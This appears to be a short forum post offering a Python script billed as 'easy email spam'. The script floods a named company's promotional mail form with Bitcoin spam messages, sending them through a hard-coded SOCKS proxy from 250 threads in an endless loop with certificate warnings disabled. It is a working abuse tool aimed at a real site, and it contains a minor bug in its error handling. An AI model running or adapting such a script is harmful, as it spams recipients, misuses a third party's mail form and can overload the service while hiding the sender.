Код:
import requests
import threading
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
num_threads = 250
semaphore = threading.BoundedSemaphore(value=num_threads)
print_lock = threading.Lock()
proxies = {
'http': 'socks4://2.93.134.254:1080',
'https': 'socks4://2.93.134.254:1080'
}
def check_ip():
try:
r = requests.post("https://www.garmin.ru/newyear2018/mail.php", data={'email': 'fakanidir@p33.org', 'text':'BITCOIN ZAVTRA PO 50000$'}, proxies=proxies)
with print_lock:
print(r.status_code)
except Exception:
pass
def threaded_check():
global semaphore
try:
check_ip()
except Exception as e:
with print_lock:
print ("[ERROR] [%s] - %s" % ip)
finally:
semaphore.release()
while True:
semaphore.acquire()
t = threading.Thread(target=threaded_check, args=())
t.start()
Eazy spam на email